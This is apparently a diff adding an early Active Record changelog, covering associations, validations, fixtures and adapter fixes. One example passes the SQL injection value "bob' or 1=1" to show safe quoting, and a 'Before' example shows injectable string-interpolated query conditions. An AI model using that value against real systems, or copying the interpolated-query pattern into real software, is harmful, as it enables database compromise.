+* Added the final touches to the Microsoft SQL Server adapter by Joey Gibson that makes it suitable for actual use #394 [DeLynn Barry]
+
+* Added that Base#find takes an optional options hash, including :conditions. Base#find_on_conditions deprecated in favor of #find with :conditions #407 [Jeremy Kemper]
+
+* Added HasManyAssociation#count that works like Base#count #413 [intinig]
+
+* Fixed handling of binary content in blobs and similar fields for Ruby/MySQL and SQLite #409 [xal]
+
+* Fixed a bug in the Ruby/MySQL that caused binary content to be escaped badly and come back mangled #405 [Tobias Luetke]
+
+* Fixed that the const_missing autoload assumes the requested constant is set by require_association and calls const_get to retrieve it. 
+  If require_association did not set the constant then const_get will call const_missing, resulting in an infinite loop #380 [Jeremy Kemper]
+
+* Fixed broken transactions that were actually only running object-level and not db level transactions [andreas]
+
+* Fixed that validates_uniqueness_of used 'id' instead of defined primary key #406
+
+* Fixed that the overwritten respond_to? method didn't take two parameters like the original #391
+
+* Fixed quoting in validates_format_of that would allow some rules to pass regardless of input #390 [Dmitry V. Sabanin]
+
+
+*1.3.0* (December 23, 2004)
+
+* Added a require_association hook on const_missing that makes it possible to use any model class without requiring it first. This makes STI look like:
+
+    before:
+      require_association 'person'
+      class Employee < Person
+      end
+    
+    after:
+      class Employee < Person
+      end
+
+  This also reduces the usefulness of Controller.model in Action Pack to currently only being for documentation purposes.      
+
+* Added that Base.update_all and Base.delete_all return an integer of the number of affected rows #341
+
+* Added scope option to validation_uniqueness #349 [Kent Sibilev]
+
+* Added respondence to *_before_type_cast for all attributes to return their string-state before they were type casted by the column type.
+  This is helpful for getting "100,000" back on a integer-based validation where the value would normally be "100".
+
+* Added allow_nil options to validates_inclusion_of so that validation is only triggered if the attribute is not nil [what-a-day]
+
+* Added work-around for PostgreSQL and the problem of getting fixtures to be created from id 1 on each test case.
+  This only works for auto-incrementing primary keys called "id" for now #359 [Scott Baron]
+
+* Added Base#clear_association_cache to empty all the cached associations #347 [Tobias Luetke]
+
+* Added more informative exceptions in establish_connection #356 [Jeremy Kemper]
+
+* Added Base#update_attributes that'll accept a hash of attributes and save the record (returning true if it passed validation, false otherwise). 
+
+    Before:
+      person.attributes = @params["person"]
+      person.save
+    
+    Now:
+      person.update_attributes(@params["person"])
+
+* Added Base.destroy and Base.delete to remove records without holding a reference to them first.
+
+* Added that query benchmarking will only happen if its going to be logged anyway #344
+
+* Added higher_item and lower_item as public methods for acts_as_list #342 [Tobias Luetke]
+
+* Fixed that options[:counter_sql] was overwritten with interpolated sql rather than original sql #355 [Jeremy Kemper]
+
+* Fixed that overriding an attribute's accessor would be disregarded by add_on_empty and add_on_boundary_breaking because they simply used 
+  the attributes[] hash instead of checking for @base.respond_to?(attr.to_s). [Marten]
+
+* Fixed that Base.table_name would expect a parameter when used in has_and_belongs_to_many joins [Anna Lissa Cruz]
+
+* Fixed that nested transactions now work by letting the outer most transaction have the responsibilty of starting and rolling back the transaction.
+  If any of the inner transactions swallow the exception raised, though, the transaction will not be rolled back. So always let the transaction
+  bubble up even when you've dealt with local issues. Closes #231 and #340.
+
+* Fixed validates_{confirmation,acceptance}_of to only happen when the virtual attributes are not nil #348 [dpiddy at gmail.com]
+
+* Changed the interface on AbstractAdapter to require that adapters return the number of affected rows on delete and update operations.
+
+* Fixed the automated timestamping feature when running under Rails' development environment that resets the inheritable attributes on each request.
+
+
+
+*1.2.0*
+
+* Added Base.validates_inclusion_of that validates whether the value of the specified attribute is available in a particular enumerable
+  object. [what-a-day]
+
+    class Person < ActiveRecord::Base
+      validates_inclusion_of :gender, :in=>%w( m f ), :message=>"woah! what are you then!??!!"
+      validates_inclusion_of :age, :in=>0..99
+    end
+
+* Added acts_as_list that can decorates an existing class with methods like move_higher/lower, move_to_top/bottom. [Tobias Luetke] Example:
+
+    class TodoItem < ActiveRecord::Base
+      acts_as_list :scope => :todo_list_id
+      belongs_to :todo_list
+    end
+
+* Added acts_as_tree that can decorates an existing class with a many to many relationship with itself. Perfect for categories in 
+  categories and the likes. [Tobias Luetke]
+
+* Added that Active Records will automatically record creation and/or update timestamps of database objects if fields of the names 
+  created_at/created_on or updated_at/updated_on are present. [Tobias Luetke]
+
+* Added Base.default_error_messages as a hash of all the error messages used in the validates_*_of so they can be changed in one place [Tobias Luetke]
+
+* Added automatic transaction block around AssociationCollection.<<, AssociationCollection.delete, and AssociationCollection.destroy_all
+
+* Fixed that Base#find will return an array if given an array -- regardless of the number of elements #270 [Marten]
+
+* Fixed that has_and_belongs_to_many would generate bad sql when naming conventions differed from using vanilla "id" everywhere [RedTerror]
+
+* Added a better exception for when a type column is used in a table without the intention of triggering single-table inheritance. Example:
+
+    ActiveRecord::SubclassNotFound: The single-table inheritance mechanism failed to locate the subclass: 'bad_class!'.
+    This error is raised because the column 'type' is reserved for storing the class in case of inheritance. 
+    Please rename this column if you didn't intend it to be used for storing the inheritance class or 
+    overwrite Company.inheritance_column to use another column for that information.
+
+* Added that single-table inheritance will only kick in if the inheritance_column (by default "type") is present. Otherwise, inheritance won't
+  have any magic side effects.
+
+* Added the possibility of marking fields as being in error without adding a message (using nil) to it that'll get displayed wth full_messages #208 [mjobin] 
+
+* Fixed Base.errors to be indifferent as to whether strings or symbols are used. Examples:
+
+    Before:
+      errors.add(:name, "must be shorter") if name.size > 10
+      errors.on(:name)  # => "must be shorter"
+      errors.on("name") # => nil
+
+    After:
+      errors.add(:name, "must be shorter") if name.size > 10
+      errors.on(:name)  # => "must be shorter"
+      errors.on("name") # => "must be shorter"
+
+* Added Base.validates_format_of that Validates whether the value of the specified attribute is of the correct form by matching 
+  it against the regular expression provided. [Marcel]
+
+    class Person < ActiveRecord::Base
+      validates_format_of :email, :with => /^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/, :on => :create
+    end
+
+* Added Base.validates_length_of that delegates to add_on_boundary_breaking #312 [Tobias Luetke]. Example:
+
+    Validates that the specified attribute matches the length restrictions supplied in either:
+    
+      - configuration[:minimum]
+      - configuration[:maximum]
+      - configuration[:is]
+      - configuration[:within] (aka. configuration[:in])
+    
+    Only one option can be used at a time.
+    
+      class Person < ActiveRecord::Base
+        validates_length_of :first_name, :maximum=>30
+        validates_length_of :last_name, :maximum=>30, :message=>"less than %d if you don't mind"
+        validates_length_of :user_name, :within => 6..20, :too_long => "pick a shorter name", :too_short => "pick a longer name"
+        validates_length_of :fav_bra_size, :minimum=>1, :too_short=>"please enter at least %d character"
+        validates_length_of :smurf_leader, :is=>4, :message=>"papa is spelled with %d characters... don't play me."
+      end
+    
+* Added Base.validate_presence as an alternative to implementing validate and doing errors.add_on_empty yourself.
+
+* Added Base.validates_uniqueness_of that alidates whether the value of the specified attributes are unique across the system. 
+  Useful for making sure that only one user can be named "davidhh".
+  
+    class Person < ActiveRecord::Base
+      validates_uniqueness_of :user_name
+    end
+  
+  When the record is created, a check is performed to make sure that no record exist in the database with the given value for the specified
+  attribute (that maps to a column). When the record is updated, the same check is made but disregarding the record itself.
+
+
+* Added Base.validates_confirmation_of that encapsulates the pattern of wanting to validate a password or email address field with a confirmation. Example:
+ 
+     Model:
+       class Person < ActiveRecord::Base
+         validates_confirmation_of :password
+       end
+  
+     View:
+       <%= password_field "person", "password" %>
+       <%= password_field "person", "password_confirmation" %>
+  
+   The person has to already have a password attribute (a column in the people table), but the password_confirmation is virtual.
+   It exists only as an in-memory variable for validating the password. This check is performed both on create and update.
+
+
+* Added Base.validates_acceptance_of that encapsulates the pattern of wanting to validate the acceptance of a terms of service check box (or similar agreement). Example:
+  
+   class Person < ActiveRecord::Base
+     validates_acceptance_of :terms_of_service
+   end
+  
+  The terms_of_service attribute is entirely virtual. No database column is needed. This check is performed both on create and update.
+
+  NOTE: The agreement is considered valid if it's set to the string "1". This makes it easy to relate it to an HTML checkbox.
+
+  
+* Added validation macros to make the stackable just like the lifecycle callbacks. Examples:
+
+    class Person < ActiveRecord::Base
+      validate { |record| record.errors.add("name", "too short") unless name.size > 10 }
+      validate { |record| record.errors.add("name", "too long")  unless name.size < 20 }
+      validate_on_create :validate_password
+      
+      private
+        def validate_password
+          errors.add("password", "too short") unless password.size > 6
+        end
+    end
+
+* Added the option for sanitizing find_by_sql and the offset parts in regular finds [Sam Stephenson]. Examples:
+
+    Project.find_all ["category = ?", category_name], "created ASC", ["? OFFSET ?", 15, 20]
+    Post.find_by_sql ["SELECT * FROM posts WHERE author = ? AND created > ?", author_id, start_date]
+
+* Fixed value quoting in all generated SQL statements, so that integers are not surrounded in quotes and that all sanitation are happening
+  through the database's own quoting routine. This should hopefully make it lots easier for new adapters that doesn't accept '1' for integer
+  columns.
+
+* Fixed has_and_belongs_to_many guessing of foreign key so that keys are generated correctly for models like SomeVerySpecialClient 
+  [Florian Weber]
+
+* Added counter_sql option for has_many associations [Jeremy Kemper]. Documentation:
+
+    <tt>:counter_sql</tt> - specify a complete SQL statement to fetch the size of the association. If +:finder_sql+ is
+    specified but +:counter_sql+, +:counter_sql+ will be generated by replacing SELECT ... FROM with SELECT COUNT(*) FROM.
+
+* Fixed that methods wrapped in callbacks still return their original result #260 [Jeremy Kemper]
+
+* Fixed the Inflector to handle the movie/movies pair correctly #261 [Scott Baron]
+
+* Added named bind-style variable interpolation #281 [Michael Koziarski]. Example:
+
+    Person.find(["id = :id and first_name = :first_name", { :id => 5, :first_name = "bob' or 1=1" }])
+
+* Added bind-style variable interpolation for the condition arrays that uses the adapter's quote method [Michael Koziarski]
+
+  Before:
+    find_first([ "user_name = '%s' AND password = '%s'", user_name, password ])]
+    find_first([ "firm_id = %s", firm_id ])] # unsafe!
+
+  After:
+    find_first([ "user_name = ? AND password = ?", user_name, password ])]
+    find_first([ "firm_id = ?", firm_id ])]
+
+* Added CSV format for fixtures #272 [what-a-day]. (See the new and expanded documentation on fixtures for more information)
+
+* Fixed fixtures using primary key fields called something else than "id" [dave]
+
+* Added proper handling of time fields that are turned into Time objects with the dummy date of 2000/1/1 [HariSeldon]
+
+* Added reverse order of deleting fixtures, so referential keys can be maintained #247 [Tim Bates]
+
+* Added relative path search for sqlite dbfiles in database.yml (if RAILS_ROOT is defined) #233 [Jeremy Kemper]
+
+* Added option to establish_connection where you'll be able to leave out the parameter to have it use the RAILS_ENV environment variable
+
+* Fixed problems with primary keys and postgresql sequences (#230) [Tim Bates]
+
+* Added reloading for associations under cached environments like FastCGI and mod_ruby. This makes it possible to use those environments for development.
+  This is turned on by default, but can be turned off with ActiveRecord::Base.reload_dependencies = false in production environments.
+
+  NOTE: This will only have an effect if you let the associations manage the requiring of model classes. All libraries loaded through
+  require will be "forever" cached. You can, however, use ActiveRecord::Base.load_or_require("library") to get this behavior outside of the
+  auto-loading associations.
+
+* Added ERB capabilities to the fixture files for dynamic fixture generation. You don't need to do anything, just include ERB blocks like:
+
+    david:
+      id: 1
+      name: David
+
+    jamis:
+      id: 2
+      name: Jamis
+
+    <% for digit in 3..10 %>
+    dev_<%= digit %>:
+      id: <%= digit %>
+      name: fixture_<%= digit %>
+    <% end %>
+
+* Changed the yaml fixture searcher to look in the root of the fixtures directory, so when you before could have something like:
+
+    fixtures/developers/fixtures.yaml
+    fixtures/accounts/fixtures.yaml
+  
+  ...you now need to do:
+  
+    fixtures/developers.yaml
+    fixtures/accounts.yaml
+
+* Changed the fixture format from:
+
+    name: david
+    data:
+     id: 1
+     name: David Heinemeier Hansson
+     birthday: 1979-10-15
+     profession: Systems development
+    ---
+    name: steve
+    data:
+     id: 2
+     name: Steve Ross Kellock
+     birthday: 1974-09-27
+     profession: guy with keyboard
+
+  ...to:
+
+    david:
+     id: 1
+     name: David Heinemeier Hansson
+     birthday: 1979-10-15
+     profession: Systems development
+    
+    steve:
+     id: 2
+     name: Steve Ross Kellock
+     birthday: 1974-09-27
+     profession: guy with keyboard
+    
+  The change is NOT backwards compatible. Fixtures written in the old YAML style needs to be rewritten!
+
+* All associations will now attempt to require the classes that they associate to. Relieving the need for most explicit 'require' statements.
+
+
+*1.1.0* (34)
+
+* Added automatic fixture setup and instance variable availability. Fixtures can also be automatically 
+  instantiated in instance variables relating to their names using the following style:
+
+    class FixturesTest < Test::Unit::TestCase
+      fixtures :developers # you can add more with comma separation
+
+      def test_developers
+        assert_equal 3, @developers.size # the container for all the fixtures is automatically set
+        assert_kind_of Developer, @david # works like @developers["david"].find
+        assert_equal "David Heinemeier Hansson", @david.name
+      end
+    end
+
+* Added HasAndBelongsToManyAssociation#push_with_attributes(object, join_attributes) that can create associations in the join table with additional
+  attributes. This is really useful when you have information that's only relevant to the join itself, such as a "added_on" column for an association
+  between post and category. The added attributes will automatically be injected into objects retrieved through the association similar to the piggy-back
+  approach:
+  
+    post.categories.push_with_attributes(category, :added_on => Date.today)
+    post.categories.first.added_on # => Date.today
+    
+  NOTE: The categories table doesn't have a added_on column, it's the categories_post join table that does!
+
+* Fixed that :exclusively_dependent and :dependent can't be activated at the same time on has_many associations [Jeremy Kemper]
+
+* Fixed that database passwords couldn't be all numeric [Jeremy Kemper]
+
+* Fixed that calling id would create the instance variable for new_records preventing them from being saved correctly [Jeremy Kemper]
+
+* Added sanitization feature to HasManyAssociation#find_all so it works just like Base.find_all [Sam Stephenson/bitsweat]
+
+* Added that you can pass overlapping ids to find without getting duplicated records back [Jeremy Kemper]
+
+* Added that Base.benchmark returns the result of the block [Jeremy Kemper]
+
+* Fixed problem with unit tests on Windows with SQLite [paterno]
+
+* Fixed that quotes would break regular non-yaml fixtures [Dmitry Sabanin/daft]
+
+* Fixed fixtures on windows with line endings cause problems under unix / mac [Tobias Luetke]
+
+* Added HasAndBelongsToManyAssociation#find(id) that'll search inside the collection and find the object or record with that id
+
+* Added :conditions option to has_and_belongs_to_many that works just like the one on all the other associations
+
+* Added AssociationCollection#clear to remove all associations from has_many and has_and_belongs_to_many associations without destroying the records [geech]
+
+* Added type-checking and remove in 1-instead-of-N sql statements to AssociationCollection#delete [geech]
+
+* Added a return of self to AssociationCollection#<< so appending can be chained, like project << Milestone.create << Milestone.create [geech]
+
+* Added Base#hash and Base#eql? which means that all of the equality using features of array and other containers now works:
+
+    [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
+
+* Added :uniq as an option to has_and_belongs_to_many which will automatically ensure that AssociateCollection#uniq is called
+  before pulling records out of the association. This is especially useful for three-way (and above) has_and_belongs_to_many associations.
+
+* Added AssociateCollection#uniq which is especially useful for has_and_belongs_to_many associations that can include duplicates,
+  which is common on associations that also use metadata. Usage: post.categories.uniq
+
+* Fixed respond_to? to use a subclass specific hash instead of an Active Record-wide one
+
+* Fixed has_and_belongs_to_many to treat associations between classes in modules properly [Florian Weber]
+
+* Added a NoMethod exception to be raised when query and writer methods are called for attributes that doesn't exist [geech]
+
+* Added a more robust version of Fixtures that throws meaningful errors when on formatting issues [geech]
+
+* Added Base#transaction as a compliment to Base.transaction for prettier use in instance methods [geech]
+
+* Improved the speed of respond_to? by placing the dynamic methods lookup table in a hash [geech]
+
+* Added that any additional fields added to the join table in a has_and_belongs_to_many association 
+  will be placed as attributes when pulling records out through has_and_belongs_to_many associations. 
+  This is helpful when have information about the association itself that you want available on retrival.
+
+* Added better loading exception catching and RubyGems retries to the database adapters [alexeyv]
+
+* Fixed bug with per-model transactions [daniel]
+
+* Fixed Base#transaction so that it returns the result of the last expression in the transaction block [alexeyv]
+
+* Added Fixture#find to find the record corresponding to the fixture id. The record 
+  class name is guessed by using Inflector#classify (also new) on the fixture directory name.
+  
+    Before: Document.find(@documents["first"]["id"])
+    After : @documents["first"].find
+
+* Fixed that the table name part of column names ("TABLE.COLUMN") wasn't removed properly [Andreas Schwarz]
+
+* Fixed a bug with Base#size when a finder_sql was used that didn't capitalize SELECT and FROM [geech]
+
+* Fixed quoting problems on SQLite by adding quote_string to the AbstractAdapter that can be overwritten by the concrete
+  adapters for a call to the dbm. [Andreas Schwarz]
+  
+* Removed RubyGems backup strategy for requiring SQLite-adapter -- if people want to use gems, they're already doing it with AR.
+
+
+*1.0.0 (35)*
+
+* Added OO-style associations methods [Florian Weber]. Examples:
+
+    Project#milestones_count       => Project#milestones.size
+    Project#build_to_milestones    => Project#milestones.build
+    Project#create_for_milestones  => Project#milestones.create
+    Project#find_in_milestones     => Project#milestones.find
+    Project#find_all_in_milestones => Project#milestones.find_all
+
+* Added serialize as a new class method to control when text attributes should be YAMLized or not. This means that automated
+  serialization of hashes, arrays, and so on WILL NO LONGER HAPPEN (#10). You need to do something like this:
+  
+    class User < ActiveRecord::Base
+      serialize :settings
+    end
+  
+  This will assume that settings is a text column and will now YAMLize any object put in that attribute. You can also specify
+  an optional :class_name option that'll raise an exception if a serialized object is retrieved as a descendent of a class not in
+  the hierarchy. Example:
+  
+    class User < ActiveRecord::Base
+      serialize :settings, :class_name => "Hash"
+    end
+  
+    user = User.create("settings" => %w( one two three ))
+    User.find(user.id).settings # => raises SerializationTypeMismatch
+
+* Added the option to connect to a different database for one model at a time. Just call establish_connection on the class
+  you want to have connected to another database than Base. This will automatically also connect decendents of that class
+  to the different database [Renald Buter].
+
+* Added transactional protection for Base#save. Validations can now check for values knowing that it happens in a transaction and callbacks
+  can raise exceptions knowing that the save will be rolled back. [Suggested by Alexey Verkhovsky]
+
+* Added column name quoting so reserved words, such as "references", can be used as column names [Ryan Platte]
+
+* Added the possibility to chain the return of what happened inside a logged block [geech]:
+
+    This now works: 
+      log { ... }.map { ... }
+
+    Instead of doing:
+      result = []
+      log { result = ... }
+      result.map { ... }
+
+* Added "socket" option for the MySQL adapter, so you can change it to something else than "/tmp/mysql.sock" [Anna Lissa Cruz]
+
+* Added respond_to? answers for all the attribute methods. So if Person has a name attribute retrieved from the table schema, 
+  person.respond_to? "name" will return true.
+
+* Added Base.benchmark which can be used to aggregate logging and benchmark, so you can measure and represent multiple statements in a single block.
+  Usage (hides all the SQL calls for the individual actions and calculates total runtime for them all):
+
+    Project.benchmark("Creating project") do
+      project = Project.create("name" => "stuff")
+      project.create_manager("name" => "David")
+      project.milestones << Milestone.find_all
+    end
+
+* Added logging of invalid SQL statements [Suggested by Daniel Von Fange]
+
+* Added alias Errors#[] for Errors#on, so you can now say person.errors["name"] to retrieve the errors for name [Andreas Schwarz]
+
+* Added RubyGems require attempt if sqlite-ruby is not available through regular methods.
+
+* Added compatibility with 2.x series of sqlite-ruby drivers. [Jamis Buck]
+
+* Added type safety for association assignments, so a ActiveRecord::AssociationTypeMismatch will be raised if you attempt to
+  assign an object that's not of the associated class. This cures the problem with nil giving id = 4 and fixnums giving id = 1 on 
+  mistaken association assignments. [Reported by Andreas Schwarz]
+
+* Added the option to keep many fixtures in one single YAML document [what-a-day]
+
+* Added the class method "inheritance_column" that can be overwritten to return the name of an alternative column than "type" for storing
+  the type for inheritance hierarchies. [Dave Steinberg]
+
+* Added [] and []= as an alternative way to access attributes when the regular methods have been overwritten [Dave Steinberg]
+
+* Added the option to observer more than one class at the time by specifying observed_class as an array
+
+* Added auto-id propagation support for tables with arbitrary primary keys that have autogenerated sequences associated with them 
+  on PostgreSQL. [Dave Steinberg]
+
+* Changed that integer and floats set to "" through attributes= remain as NULL. This was especially a problem for scaffolding and postgresql. (#49)
+
+* Changed the MySQL Adapter to rely on MySQL for its defaults for socket, host, and port [Andreas Schwarz]
+
+* Changed ActionControllerError to decent from StandardError instead of Exception. It can now be caught by a generic rescue.
+
+* Changed class inheritable attributes to not use eval [Caio Chassot]
+
+* Changed Errors#add to now use "invalid" as the default message instead of true, which means full_messages work with those [Marcel Molina Jr]
+
+* Fixed spelling on Base#add_on_boundry_breaking to Base#add_on_boundary_breaking (old naming still works) [Marcel Molina Jr.]
+
+* Fixed that entries in the has_and_belongs_to_many join table didn't get removed when an associated object was destroyed.
+
+* Fixed unnecessary calls to SET AUTOCOMMIT=0/1 for MySQL adapter [Andreas Schwarz]
+
+* Fixed PostgreSQL defaults are now handled gracefully [Dave Steinberg]
+
+* Fixed increment/decrement_counter are now atomic updates [Andreas Schwarz]
+
+* Fixed the problems the Inflector had turning Attachment into attuchments and Cases into Casis [radsaq/Florian Gross]
+
+* Fixed that cloned records would point attribute references on the parent object [Andreas Schwarz]
+
+* Fixed SQL for type call on inheritance hierarchies [Caio Chassot]
+
+* Fixed bug with typed inheritance [Florian Weber]
+
+* Fixed a bug where has_many collection_count wouldn't use the conditions specified for that association
+
+
+*0.9.5*
+
+* Expanded the table_name guessing rules immensely [Florian Green]. Documentation:
+
+    Guesses the table name (in forced lower-case) based on the name of the class in the inheritance hierarchy descending
+    directly from ActiveRecord. So if the hierarchy looks like: Reply < Message < ActiveRecord, then Message is used
+    to guess the table name from even when called on Reply. The guessing rules are as follows:
+    * Class name ends in "x", "ch" or "ss": "es" is appended, so a Search class becomes a searches table.
+    * Class name ends in "y" preceded by a consonant or "qu": The "y" is replaced with "ies", 
+      so a Category class becomes a categories table. 
+    * Class name ends in "fe": The "fe" is replaced with "ves", so a Wife class becomes a wives table.
+    * Class name ends in "lf" or "rf": The "f" is replaced with "ves", so a Half class becomes a halves table.
+    * Class name ends in "person": The "person" is replaced with "people", so a Salesperson class becomes a salespeople table.
+    * Class name ends in "man": The "man" is replaced with "men", so a Spokesman class becomes a spokesmen table.
+    * Class name ends in "sis": The "i" is replaced with an "e", so a Basis class becomes a bases table.
+    * Class name ends in "tum" or "ium": The "um" is replaced with an "a", so a Datum class becomes a data table.
+    * Class name ends in "child": The "child" is replaced with "children", so a NodeChild class becomes a node_children table.
+    * Class name ends in an "s": No additional characters are added or removed.
+    * Class name doesn't end in "s": An "s" is appended, so a Comment class becomes a comments table.
+    * Class name with word compositions: Compositions are underscored, so CreditCard class becomes a credit_cards table.
+    Additionally, the class-level table_name_prefix is prepended to the table_name and the table_name_suffix is appended.
+    So if you have "myapp_" as a prefix, the table name guess for an Account class becomes "myapp_accounts".
+    
+    You can also overwrite this class method to allow for unguessable links, such as a Mouse class with a link to a
+    "mice" table. Example:
+    
+      class Mouse < ActiveRecord::Base
+         def self.table_name() "mice" end
+      end
+  
+  This conversion is now done through an external class called Inflector residing in lib/active_record/support/inflector.rb.
+
+* Added find_all_in_collection to has_many defined collections. Works like this:
+
+    class Firm < ActiveRecord::Base
+      has_many :clients
+    end
+    
+    firm.id # => 1
+    firm.find_all_in_clients "revenue > 1000" # SELECT * FROM clients WHERE firm_id = 1 AND revenue > 1000
+
+  [Requested by Dave Thomas]
+
+* Fixed finders for inheritance hierarchies deeper than one level [Florian Weber]
+
+* Added add_on_boundry_breaking to errors to accompany add_on_empty as a default validation method. It's used like this:
+
+    class Person < ActiveRecord::Base
+      protected
+        def validation
+          errors.add_on_boundry_breaking "password", 3..20
+        end
+    end
+    
+  This will add an error to the tune of "is too short (minimum is 3 characters)" or "is too long (minimum is 20 characters)" if
+  the password is outside the boundry. The messages can be changed by passing a third and forth parameter as message strings.
+
+* Implemented a clone method that works properly with AR. It returns a clone of the record that 
+  hasn't been assigned an id yet and is treated as a new record.
+
+* Allow for domain sockets in PostgreSQL by not assuming localhost when no host is specified [Scott Barron]
+
+* Fixed that bignums are saved properly instead of attempted to be YAMLized [Andreas Schwartz]
+
+* Fixed a bug in the GEM where the rdoc options weren't being passed according to spec [Chad Fowler]
+
+* Fixed a bug with the exclusively_dependent option for has_many
+
+
+*0.9.4*
+
+* Correctly guesses the primary key when the class is inside a module [Dave Steinberg].
+
+* Added [] and []= as alternatives to read_attribute and write_attribute [Dave Steinberg]
+
+* has_and_belongs_to_many now accepts an :order key to determine in which order the collection is returned [radsaq].
+
+* The ids passed to find and find_on_conditions are now automatically sanitized.
+
+* Added escaping of plings in YAML content.
+
+* Multi-parameter assigns where all the parameters are empty will now be set to nil instead of a new instance of their class.
+
+* Proper type within an inheritance hierarchy is now ensured already at object initialization (instead of first at create)
+
+
+*0.9.3*
+
+* Fixed bug with using a different primary key name together with has_and_belongs_to_many [Investigation by Scott] 
+
+* Added :exclusively_dependent option to the has_many association macro. The doc reads:
+
+    If set to true all the associated object are deleted in one SQL statement without having their
+    before_destroy callback run. This should only be used on associations that depend solely on 
+    this class and don't need to do any clean-up in before_destroy. The upside is that it's much
+    faster, especially if there's a counter_cache involved.
+
+* Added :port key to connection options, so the PostgreSQL and MySQL adapters can connect to a database server
+  running on another port than the default.
+
+* Converted the new natural singleton methods that prevented AR objects from being saved by PStore
+  (and hence be placed in a Rails session) to a module. [Florian Weber]
+
+* Fixed the use of floats (was broken since 0.9.0+)
+
+* Fixed PostgreSQL adapter so default values are displayed properly when used in conjunction with 
+  Action Pack scaffolding.
+
+* Fixed booleans support for PostgreSQL (use real true/false on boolean fields instead of 0/1 on tinyints) [radsaq]
+
+
+*0.9.2*
+
+* Added static method for instantly updating a record
+
+* Treat decimal and numeric as Ruby floats [Andreas Schwartz]
+
+* Treat chars as Ruby strings (fixes problem for Action Pack form helpers too)
+
+* Removed debugging output accidently left in (which would screw web applications)
+
+
+*0.9.1*
+
+* Added MIT license
+
+* Added natural object-style assignment for has_and_belongs_to_many associations. Consider the following model:
+
+    class Event < ActiveRecord::Base
+      has_one_and_belongs_to_many :sponsors
+    end
+    
+    class Sponsor < ActiveRecord::Base
+      has_one_and_belongs_to_many :sponsors
+    end
+
+  Earlier, you'd have to use synthetic methods for creating associations between two objects of the above class:
+  
+    roskilde_festival.add_to_sponsors(carlsberg)
+    roskilde_festival.remove_from_sponsors(carlsberg)
+
+    nike.add_to_events(world_cup)
+    nike.remove_from_events(world_cup)
+    
+  Now you can use regular array-styled methods:
+  
+    roskilde_festival.sponsors << carlsberg
+    roskilde_festival.sponsors.delete(carlsberg)
+
+    nike.events << world_cup
+    nike.events.delete(world_cup)
+
+* Added delete method for has_many associations. Using this will nullify an association between the has_many and the belonging
+  object by setting the foreign key to null. Consider this model:
+  
+    class Post < ActiveRecord::Base
+      has_many :comments
+    end
+
+    class Comment < ActiveRecord::Base
+      belongs_to :post
+    end
+
+  You could do something like:
+
+    funny_comment.has_post? # => true
+    announcement.comments.delete(funny_comment)
+    funny_comment.has_post? # => false
+
+
+*0.9.0*
+
+* Active Record is now thread safe! (So you can use it with Cerise and WEBrick applications)
+  [Implementation idea by Michael Neumann, debugging assistance by Jamis Buck]
+
+* Improved performance by roughly 400% on a basic test case of pulling 100 records and querying one attribute. 
+  This brings the tax for using Active Record instead of "riding on the metal" (using MySQL-ruby C-driver directly) down to ~50%.
+  Done by doing lazy type conversions and caching column information on the class-level.
+
+* Added callback objects and procs as options for implementing the target for callback macros.
+
+* Added "counter_cache" option to belongs_to that automates the usage of increment_counter and decrement_counter. Consider:
+
+    class Post < ActiveRecord::Base
+      has_many :comments
+    end
+
+    class Comment < ActiveRecord::Base
+      belongs_to :post
+    end
+
+  Iterating over 100 posts like this:
+  
+    <% for post in @posts %>
+      <%= post.title %> has <%= post.comments_count %> comments
+    <% end %>
+    
+  Will generate 100 SQL count queries -- one for each call to post.comments_count. If you instead add a "comments_count" int column
+  to the posts table and rewrite the comments association macro with:
+
+    class Comment < ActiveRecord::Base
+      belongs_to :post, :counter_cache => true
+    end
+  
+  Those 100 SQL count queries will be reduced to zero. Beware that counter caching is only appropriate for objects that begin life
+  with the object it's specified to belong with and is destroyed like that as well. Typically objects where you would also specify
+  :dependent => true. If your objects switch from one belonging to another (like a post that can be move from one category to another),
+  you'll have to manage the counter yourself. 
+
+* Added natural object-style assignment for has_one and belongs_to associations. Consider the following model:
+
+    class Project < ActiveRecord::Base
+      has_one :manager
+    end
+    
+    class Manager < ActiveRecord::Base
+      belongs_to :project
+    end
+  
+  Earlier, assignments would work like following regardless of which way the assignment told the best story:
+  
+    active_record.manager_id = david.id
+  
+  Now you can do it either from the belonging side:
+
+    david.project = active_record
+  
+  ...or from the having side:
+  
+    active_record.manager = david
+  
+  If the assignment happens from the having side, the assigned object is automatically saved. So in the example above, the 
+  project_id attribute on david would be set to the id of active_record, then david would be saved.
+
+* Added natural object-style assignment for has_many associations [Florian Weber]. Consider the following model:
+
+    class Project < ActiveRecord::Base
+      has_many :milestones
+    end
+    
+    class Milestone < ActiveRecord::Base
+      belongs_to :project
+    end
+  
+  Earlier, assignments would work like following regardless of which way the assignment told the best story:
+  
+    deadline.project_id = active_record.id
+  
+  Now you can do it either from the belonging side:
+
+    deadline.project = active_record
+  
+  ...or from the having side:
+  
+    active_record.milestones << deadline
+  
+  The milestone is automatically saved with the new foreign key.
+
+* API CHANGE: Attributes for text (or blob or similar) columns will now have unknown classes stored using YAML instead of using
+  to_s. (Known classes that won't be yamelized are: String, NilClass, TrueClass, FalseClass, Fixnum, Date, and Time).
+  Likewise, data pulled out of text-based attributes will be attempted converged using Yaml if they have the "--- " header.
+  This was primarily done to be enable the storage of hashes and arrays without wrapping them in aggregations, so now you can do:
+  
+    user = User.find(1)
+    user.preferences = { "background" => "black", "display" => large }
+    user.save
+    
+    User.find(1).preferences # => { "background" => "black", "display" => large }
+  
+  Please note that this method should only be used when you don't care about representing the object in proper columns in
+  the database. A money object consisting of an amount and a currency is still a much better fit for a value object done through
+  aggregations than this new option.
+
+* POSSIBLE CODE BREAKAGE: As a consequence of the lazy type conversions, it's a bad idea to reference the @attributes hash
+  directly (it always was, but now it's paramount that you don't). If you do, you won't get the type conversion. So to implement
+  new accessors for existing attributes, use read_attribute(attr_name) and write_attribute(attr_name, value) instead. Like this:
+  
+    class Song < ActiveRecord::Base
+      # Uses an integer of seconds to hold the length of the song
+      
+      def length=(minutes)
+        write_attribute("length", minutes * 60)
+      end
+      
+      def length
+        read_attribute("length") / 60
+      end
+    end
+
+  The clever kid will notice that this opens a door to sidestep the automated type conversion by using @attributes directly.
+  This is not recommended as read/write_attribute may be granted additional responsibilities in the future, but if you think
+  you know what you're doing and aren't afraid of future consequences, this is an option.
+
+* Applied a few minor bug fixes reported by Daniel Von Fange.
+
+
